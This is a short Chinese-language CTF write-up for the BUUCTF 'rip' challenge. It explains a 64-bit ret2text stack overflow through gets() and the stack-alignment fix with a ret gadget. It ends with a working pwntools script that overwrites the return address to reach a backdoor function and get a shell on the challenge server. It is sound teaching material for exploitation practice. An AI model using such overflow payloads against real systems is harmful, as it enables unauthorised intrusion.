题目
平台:BUUCTF
题目:rip
考点:64位ret2text、栈对齐
分析
checksec查看防护状态
64位且无canary
IDA反编译查看源码找到gets函数存在栈溢出
另外在functions中找到后门函数fun,地址为0x401186
那么通过栈溢出覆盖返回地址为后门函数即可
此题需注意直接返回到后门函数时call system的指令的栈顶结尾是e8,不满足栈对齐,故需要在后门函数前增加一段ret的gadget
漏洞利用
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('node5.buuoj.cn', 27242)
#p=process('./pwn1')
#p=gdb.debug('./pwn1','b main')
#elf = ELF('./memory')
#libc=ELF('./libc-2.23.so')
backdoor = 0x401186
ret_addr = 0x401016
payload = b'a' * (0xf + 0x8) + p64(ret_addr) + p64(backdoor)
p.sendline(payload)
p.interactive()
原文始发于微信公众号(智佳网络安全):CTF学习总结-PWN-ret2text
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300873.html